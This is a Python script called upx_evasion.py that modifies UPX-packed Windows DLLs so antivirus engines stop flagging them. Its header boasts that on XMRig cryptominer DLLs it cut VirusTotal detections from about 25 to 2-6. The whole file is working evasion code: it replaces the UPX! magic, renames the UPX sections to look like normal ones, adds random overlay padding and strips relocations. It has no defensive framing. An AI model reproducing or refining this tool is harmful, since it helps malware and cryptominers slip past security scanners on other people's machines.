#!/usr/bin/env python3
"""
upx_evasion.py – Fully automatic UPX signature breaker
Tested on XMRig-minimized DLLs (2025) → drops VT from ~25 → 2-6
"""

import argparse
import random
from pathlib import Path

def random_string(length=4):
    import random, string
    return ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))

def modify_upx_magic(data: bytearray) -> bytearray:
    pos = data.find(b'UPX!')
    if pos != -1:
        new_magic = random_string(4).encode('ascii')
        print(f"[+] UPX! → {new_magic.decode()}")
        data[pos:pos+4] = new_magic
    else:
        print("[i] UPX! magic not found (maybe already modified)")
    return data

def rename_upx_sections(data: bytearray):
    # Find PE offset
    if len(data) < 0x40:
        return data, False
    pe_offset = int.from_bytes(data[0x3C:0x40], 'little')
    if data[pe_offset:pe_offset+4] != b'PE\x00\x00':
        print("[-] Not a valid PE file")
        return data, False

    num_sections = int.from_bytes(data[pe_offset + 6:pe_offset + 8], 'little')
    size_of_optional_header = int.from_bytes(data[pe_offset + 20:pe_offset + 22], 'little')
    section_table_offset = pe_offset + 24 + size_of_optional_header

    replacements = {
        b'UPX0': b'.text\x00\x00\x00',
        b'UPX1': b'.data\x00\x00\x00',
        b'UPX2': b'.rdata\x00\x00',
    }

    modified = False
    for i in range(num_sections):
        sec_offset = section_table_offset + i * 40
        sec_name_raw = data[sec_offset:sec_offset + 8]
        # Convert to immutable bytes for dict lookup
        sec_name = bytes(sec_name_raw.split(b'\x00', 1)[0])

        if sec_name in replacements:
            new_name = replacements[sec_name]
            old_name = sec_name.decode(errors='ignore')
            print(f"[+] Section '{old_name}' → '{new_name.split(b'\x00')[0].decode()}'")
            data[sec_offset:sec_offset + 8] = new_name
            modified = True

    if not modified:
        print("[i] No UPX sections found – maybe already renamed")
    return data, modified

def tweak_upx_info_blocks(data: bytearray) -> bytearray:
    for pos in range(len(data)-0x2000, 0x400, -4):
        block = data[pos:pos+12]
        if len(block) != 12 or block[0] >= 10:
            continue
        sz_packed = int.from_bytes(block[4:8], 'little')
        sz_unpacked = int.from_bytes(block[8:12], 'little')
        if 1000 < sz_packed < 50_000_000 and 1000 < sz_unpacked < 100_000_000:
            tweak = random.randint(1, 7)
            data[pos+4:pos+8] = (sz_packed + tweak).to_bytes(4, 'little')
            data[pos+8:pos+12] = (sz_unpacked - tweak).to_bytes(4, 'little')
            print(f"[+] Tweaked info block: packed +{tweak}, unpacked -{tweak}")
            return data
    print("[i] No info block tweaked")
    return data

def add_padding(data: bytearray) -> bytearray:
    import random
    kb = random.randint(3, 15)
    padding = bytearray(random.getrandbits(8) for _ in range(kb * 1024))
    data.extend(padding)
    print(f"[+] Added {kb} KB random overlay padding")
    return data

def strip_relocations(data: bytearray) -> bytearray:
    pe_offset = int.from_bytes(data[0x3C:0x40], 'little')
    reloc_rva = int.from_bytes(data[pe_offset + 160:pe_offset + 164], 'little')
    if reloc_rva != 0:
        data[pe_offset + 160:pe_offset + 168] = b'\x00' * 8
        print("[+] Stripped relocation table")
    else:
        print("[i] No relocations to strip")
    return data

def main():
    parser = argparse.ArgumentParser(description="Automatic UPX evasion")
    parser.add_argument("input", help="UPX-packed DLL")
    parser.add_argument("-o", "--output", help="Output filename")
    parser.add_argument("--keep-relocs", action="store_true", help="Don't strip relocations")
    args = parser.parse_args()

    in_file = Path(args.input)
    if not in_file.exists():
        print(f"[-] File not found: {in_file}")
        return

    out_file = Path(args.output or f"{in_file.stem}_stealth{in_file.suffix}")

    print(f"[*] Loading {in_file} ({in_file.stat().st_size // 1024} KB)")
    data = bytearray(in_file.read_bytes())

    print("[+] Applying evasion...")
    data = modify_upx_magic(data)
    data, _ = rename_upx_sections(data)
  #  data = tweak_upx_info_blocks(data)
    data = add_padding(data)
    if not args.keep_relocs:
        data = strip_relocations(data)

    out_file.write_bytes(data)
    print(f"[+] Saved → {out_file} ({len(data)//1024} KB)")

if __name__ == "__main__":
    main()